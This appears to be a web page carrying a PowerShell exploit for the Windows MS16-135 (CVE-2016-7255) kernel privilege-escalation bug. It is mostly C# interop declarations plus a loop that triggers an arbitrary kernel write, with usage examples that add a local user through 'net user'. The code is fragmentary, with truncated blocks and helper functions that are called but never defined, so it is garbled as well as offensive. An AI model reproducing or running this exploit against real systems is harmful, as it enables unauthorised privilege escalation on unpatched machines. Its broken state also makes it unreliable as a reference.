function Invoke-MS16-135 { <# .SYNOPSIS PowerShell implementation of MS16-135. The exploit targets all vulnerable operating systems that support PowerShell v2+. * Win7-Win10 <== 64 bit! .PARAMETER Application Specifies an Application to run. .PARAMETER Commandline Specifies Commandline, such as net user xxx xxx /add .EXAMPLE C:\PS> Invoke-MS16-135 -Application C:\Windows\System32\cmd.exe C:\PS> Invoke-MS16-135 -Application C:\Windows\System32\cmd.exe -Commandline "/c net user 1 1 /add" #> [CmdletBinding()] param( [Parameter(Mandatory = $False, ParameterSetName = 'C:\Windows\System32\cmd.exe' )] [string] $Application,
[Parameter(Mandatory = $False)] [string] $Commandline ) Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct INPUT { public int itype; public KEYBDINPUT U; public int Size; } [StructLayout(LayoutKind.Sequential)] public struct KEYBDINPUT { public UInt16 wVk; public UInt16 wScan; public uint dwFlags; public int time; public IntPtr dwExtraInfo; } [StructLayout(LayoutKind.Sequential)] public struct tagMSG { public IntPtr hwnd; public UInt32 message; public UIntPtr wParam; public UIntPtr lParam; public UInt32 time; public POINT pt; } public struct POINT { public Int32 x; public Int32 Y; } public class ms16135 { delegate IntPtr WndProc( IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)] struct WNDCLASSEX { public uint cbSize; public uint style; public IntPtr lpfnWndProc; public int cbClsExtra; public int cbWndExtra; public IntPtr hInstance; public IntPtr hIcon; public IntPtr hCursor; public IntPtr hbrBackground; [MarshalAs(UnmanagedType.LPWStr)] public string lpszMenuName; [MarshalAs(UnmanagedType.LPWStr)] public string lpszClassName; public IntPtr hIconSm; } [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] static extern System.UInt16 RegisterClassW( [System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass); [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] public static extern IntPtr CreateWindowExW( UInt32 dwExStyle, [MarshalAs(UnmanagedType.LPWStr)] string lpClassName, [MarshalAs(UnmanagedType.LPWStr)] string lpWindowName, UInt32 dwStyle, Int32 x, Int32 y, Int32 nWidth, Int32 nHeight, IntPtr hWndParent, IntPtr hMenu, IntPtr hInstance, IntPtr lpParam); [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] static extern System.IntPtr DefWindowProcW( IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] public static extern bool DestroyWindow( IntPtr hWnd); [DllImport("user32.dll", SetLastError = true)] public static extern bool UnregisterClass( String lpClassName, IntPtr hInstance); [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetModuleHandleW( [MarshalAs(UnmanagedType.LPWStr)] String lpModuleName); [DllImport("user32.dll", EntryPoint="SetWindowLongPtr")] public static extern IntPtr SetWindowLongPtr( IntPtr hWnd, int nIndex, IntPtr dwNewLong); [DllImport("user32.dll")] public static extern bool ShowWindow( IntPtr hWnd, int nCmdShow); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr SetParent( IntPtr hWndChild, IntPtr hWndNewParent); [DllImport("user32.dll", SetLastError = false)] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern bool SetForegroundWindow( IntPtr hWnd); [DllImport("user32.dll", SetLastError=true)] public static extern void SwitchToThisWindow( IntPtr hWnd, bool fAltTab); [DllImport("user32.dll")] public static extern bool GetMessage( out tagMSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax); [DllImport("user32.dll")] public static extern bool TranslateMessage( [In] ref tagMSG lpMsg); [DllImport("user32.dll")] public static extern IntPtr DispatchMessage( [In] ref tagMSG lpmsg); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr SetFocus( IntPtr hWnd); [DllImport("user32.dll")] public static extern uint SendInput( uint nInputs, [In] INPUT pInputs, int cbSize); [DllImport("gdi32.dll")] public static extern int GetBitmapBits( IntPtr hbmp, int cbBuffer, IntPtr lpvBits); [DllImport("gdi32.dll")] public static extern int SetBitmapBits( IntPtr hbmp, int cbBytes, IntPtr lpBits); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); public UInt16 CustomClass(string class_name) { m_wnd_proc_delegate = CustomWndProc; WNDCLASSEX wind_class = new WNDCLASSEX(); wind_class.lpszClassName = class_name; ///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class); wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate); return RegisterClassW(ref wind_class); } private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam) { return DefWindowProcW(hWnd, msg, wParam, lParam); } private WndProc m_wnd_proc_delegate; } "@
#==============================================================[Pre-Run] # Exploit is only for x64 if ([System.IntPtr]::Size -ne 8) { echo "`n[!] Target architecture is x64 only!`n" Return }
# Get OS version $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version $Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" switch ($OSMajorMinor) { '10.0'# Win10 / 2k16 { echo "[?] Target is Win 10" echo "[+] Bitmap dimensions: 0x760*0x4`n" }
#==============================================================[Helpers] function Get-LoadedModules { <# .SYNOPSIS Use NtQuerySystemInformation::SystemModuleInformation to get a list of loaded modules, their base address and size (x32/x64).
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct SYSTEM_MODULE_INFORMATION { [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] public UIntPtr[] Reserved; public IntPtr ImageBase; public UInt32 ImageSize; public UInt32 Flags; public UInt16 LoadOrderIndex; public UInt16 InitOrderIndex; public UInt16 LoadCount; public UInt16 ModuleNameOffset; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] internal Char[] _ImageName; public String ImageName { get { return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; } } } public static class Ntdll { [DllImport("ntdll.dll")] public static extern int NtQuerySystemInformation( int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int ReturnLength); } "@
# This is a bit messy, but the bug is not easy to trigger # while also reliably exiting the loop. Basically we try to # trigger the arbitrary "Or" for 3 seconds and then check if # it was successful. If not we try up to ten times (should # take 2-4 attempts). function Trigger-Write { $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 3000) { $tagMSG = New-Object tagMSG if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) { $CallResult = [ms16135]::SetFocus($hWndParent) # for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} # $CallResult = [ms16135]::SetFocus($hWndChild) # Bug triggers here! for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} # $CallResult = [ms16135]::TranslateMessage([ref]$tagMSG) $CallResult = [ms16135]::DispatchMessage([ref]$tagMSG) } } $SafeGuard.Stop() } [IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40) do { echo "[+] Trying to trigger arbitrary 'Or'.." $ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer) Trigger-Write $LoopCount += 1 } while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10)
# Clean up $CallResult = [ms16135]::DestroyWindow($hWndChild) $CallResult = [ms16135]::DestroyWindow($hWndParent) $CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero) # Because shit happens, or patched if ($LoopCount -eq 10) { echo "`n[!] Bug did not trigger, try again or patched?`n" $Script:BugNotTriggered = 1 } }
Do-OrAddress -Address $TargetAddress if ($BugNotTriggered) { Return }
Be the first person to leave a comment!